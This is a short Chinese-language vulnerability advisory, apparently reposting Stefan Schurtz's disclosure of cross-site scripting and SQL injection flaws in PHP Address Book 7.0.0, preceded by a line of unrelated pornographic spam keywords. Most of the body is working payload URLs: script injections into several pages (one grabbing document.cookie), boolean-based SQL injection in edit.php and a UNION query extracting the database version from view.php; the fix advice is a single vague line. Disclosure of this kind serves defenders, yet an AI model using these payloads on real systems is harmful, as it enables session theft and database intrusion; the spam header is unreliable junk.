亚洲精品久久久久久一区二区,亚洲乱码av中文一区二区,欧美性猛交╳xxx乱大交,成人h动漫精品一区二区,亚洲熟女综合色一区二区三区

作者: Stefan Schurtz

受影響軟件: Successfully tested on PHP Address Book 7.0.0

開發(fā)者網(wǎng)站: http://sourceforge.net/projects/php-addressbook/

缺陷描述

 

PHP Address Book 7.0.0含多個 XSS 和 SQLi缺陷

 

測試方法

 

// XSS

 

http://[target]/addressbookv7.0.0/preferences.php?from='"</script><script>alert('xss')</script>

http://www.xxx.com /addressbookv7.0.0/group.php/" /><script> alert('xss')</script>

http://[target]/addressbookv7.0.0/index.php?group='"</script><script>alert(document.cookie)</script>

 

// SQLi

 

http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1<2,2,1)

http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1>2,2,1)

 

// UNION-based Injection, needs 'magic_quotes=off'

http://[target]/addressbookv7.0.0/view.php?id=1' UNION ALL SELECT NULL, NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--+

 

修復：

加強過濾